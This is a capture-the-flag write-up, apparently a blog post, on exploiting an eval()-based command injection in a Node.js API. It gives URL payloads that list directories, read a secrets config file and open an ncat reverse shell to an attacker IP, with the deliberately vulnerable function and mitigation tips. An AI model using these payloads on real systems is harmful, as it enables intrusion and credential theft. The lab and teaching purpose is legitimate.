Node.js RCE and a simple reverse shell -CTF

CurlS
6 min readNov 24, 2019

--

The goal of this CTF style challenge was to gain full access to the web server, respectively to steal the config file which includes some secret data.

In my below summary I will shed light on some options which Node.js modules might be useful for getting surrounding information, respectively better control over system interactions and how to exploit a Node.js application which is vulnerable to command injection (based on the eval function).

Security Problem

The app is vulnerable to command injection/execuiton via the usage of eval. The exploit code can be passed to eval and executed, so the root of the problem is is bad programming practice in Node.js, that allows an unpriviledged user to supply data which will be executed on the server.

Discovery and Information Gathering

Luckely, there was a hint in the challenge about the vulnerable service. The following GET Request returns a suspicious response:

GET /api/order/from/1/range/2 HTTP/1.1Response:
{
"statusCode":200,
"data":
{"from":"1","to":3},
"message":"Parameters accepted."
}

The response returns the above JSON. One can see that the values within the data object vary in their type. The value for the from parameter is enclosed in quotation marks, whereby the to parameter is not. From the above and further tests, it is clear, that the value for the to parameter is the result of using eval for the user input parsing. The Node.js eval() function is easy to exploit if data passed to it is not filtered correctly.

Proof of eval() function

The following request is accepted and returns a value of 1d for the to field:

GET /api/order/from/1/range/"d" HTTP/1.1Response: 
{
"statusCode":200,
"data":
{"from":"1","to":"1d"},
"message":"Parameters accepted."
}

Know your weapons

proces,fs, child_process, ncat

Process — global Node.js object

The global object process can be used to gain more information on the current Node.js process. As it is global it is not necessary to use require(). It provides many useful properties and methods to get better control over system interactions.

process.cwd() for example returns the current working directory of the Node.js process.

GET /api/order/from/1/range/process.cwd() HTTP/1.1

This gives the following response:

{"statusCode":200,
"data":
{"from":"1","to":"1/app"},
"message":"Parameters accepted."
}

In order to gain more information of the Node.js process and surrounding environment, the following functions, properties or global variables can be used (for detailed overview see Node.js documentation).

From the responses we get the following (some examples):

Node.js version: 10.5.0
Current working directory:
/app
OS platform on which the Node.js process is running:
linux

fs class

A potential goal of an attacker might be to read the contents of a file from the server. This can be achieved with the Node.js fs module which has to be required with require('fs'). All the methods have asynchronous as well as synchronous versions. It allows one to work with the file system (accessing, managing and editing files, etc.). It covers a great number of methods and properties.

readdir()

Just as the dir command in MS Windows or the ls command on Linux, it is possible to use the method readdir or readdirSync of the fs class to list the content of the directory . The difference between these both functions is that the latter is the synchronous version.

The ‘.’ points to the current directory. The ‘..’ reads the previous directory.

require('fs').readdirSync('.').toString()
require('fs').readdirSync('..').toString()

In order to list the directory of the /app directory the following can be used:

GET /api/order/from/1/range/var fs=require("fs");fs.readdirSync("/app").toString('utf8') HTTP/1.1

In this challenge I used Burp Repeater to send the above command as url-encoded version. For the sake of readableness, I show the commands not in encoded form.

readFile()

Once the file names are obtained, the attacker can use other commands to view the content of the data. The methods readFile or readFileSync provide the option to read the entire content of a file. Again the latter is the synchronous version. As argument just pass the path to the file for the synchronous version.

require('fs').readFileSync(<filename>)

In order to read a specific file of the /app directory the following can be used:

GET /api/order/from/1/range/var fs=require("fs");fs.readFileSync("/app/configs/index.js").toString('utf8') HTTP/1.1

As mentioned above, I url-encoded the command in Burp Repeater in order to make the GET Request work. For the sake of readableness, I show the commands not in encoded form.

Read File via readFileSync Function from FS Node.js class

Another way is to obtain a reverse shell with the child_process module from Node.js.

Child Process

child_process module allows to create child process in Node.js. There are 4 different ways to create a child process: spawn(), fork(), exec(), execFile.

In this challenge I used exec() as compared to spawn() it creates a shell to execute the command. Thus, it is possible to specify the command to launch in shell syntax directly. Furthermore the spawn() function returns a stream, while exec() returns the whole buffer output from the child process.

I will not go in more detail here, you get an idea in this link.

Ncat

Ncat can be used for establishing a backdoor listener on a system. Setting up a reverse shell with Ncat on Linux is very easy. In order to execute the exploit, it is necessary to start a ncat listener on the system that will listen on specific port. The below will instruct Ncat to listen on TCP port 4445.

# nc -lvp 4445

A quick reverse shell can be obtained with one of the following commands using in the exec method itself:

# nc <IP Attacker> <Port> -e /bin/bash
# nc <IP Attacker> <Port> -e /bin/sh

Reverse Shell with child_process.execSync(command[,options])

This will send a reverse shell back to the local machine. The IP address is the one defined by the attacker.

/api/order/from/1/range/require("child_process").exec('nc <IP Attacker> 4445 -e /bin/sh')

In Burp I used the Repeater Module in order to edit the GET Request and send it in URL-encoded form:

/api/order/from/1/range/require("child_process").exec('nc%20<IP Attacker>%204445%20-e%20%2Fbin%2Fsh')

And voilà, the exploit has been successfull and the challenge is solved in a different way then the approach with the fs class. There are some interesting files on the file system, and with the existing shell it is easy to get a quick overview.

# nc -lvp 4445
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from [...]
Ncat: Connection from [...]:40924.
/app # ls -la
total 356
drwxr-xr-x 15 root root 4096 Oct 12 2018 .
drwxr-xr-x 22 root root 253 Nov 18 07:45 ..
-rw-r--r-- 1 root root 2370 Oct 12 2018 app.js
drwxr-xr-x 8 root root 136 Oct 12 2018 assets
drwxr-xr-x 2 root root 17 Oct 12 2018 bin
drwxr-xr-x 2 root root 22 Oct 12 2018 configs

...

For the sake of good order, I want to mention that there were two files with sensitive data (i) /app/configs/index.js and (ii) /app/configure.js, with information such as authSecret, db username with password, etc.

To conclude the summary, the vulnerable function in /app/services/order.js is:

function getFromTo(from, range, callback) {
let fromResult = from;
let toResult;
if(process.env.NODE_RCE_EVAL.toLowerCase() === 'on') {
toResult = eval(from + "+ "+ range);
} else {
toResult = parseInt(from) + parseInt(range);
}
let result = { from: fromResult, to: toResult };
return callback(null, ResponseUtil.createSuccessResponse(result, ‘Parameters accepted.’));
}

Mitigation

  • Always validate user input on server side before processing the data
  • Do not use eval() function to parse user inputs. There exist similar commands which should be avoided in general (such as setTimeOut(), setInterval(), etc.)
  • Conduct Code Reviews

--

--

CurlS

Working in Infosec. Interested in many things, from technical perspective -> security, ctfs, coding, reverse engineering,… and in general -> love life. She.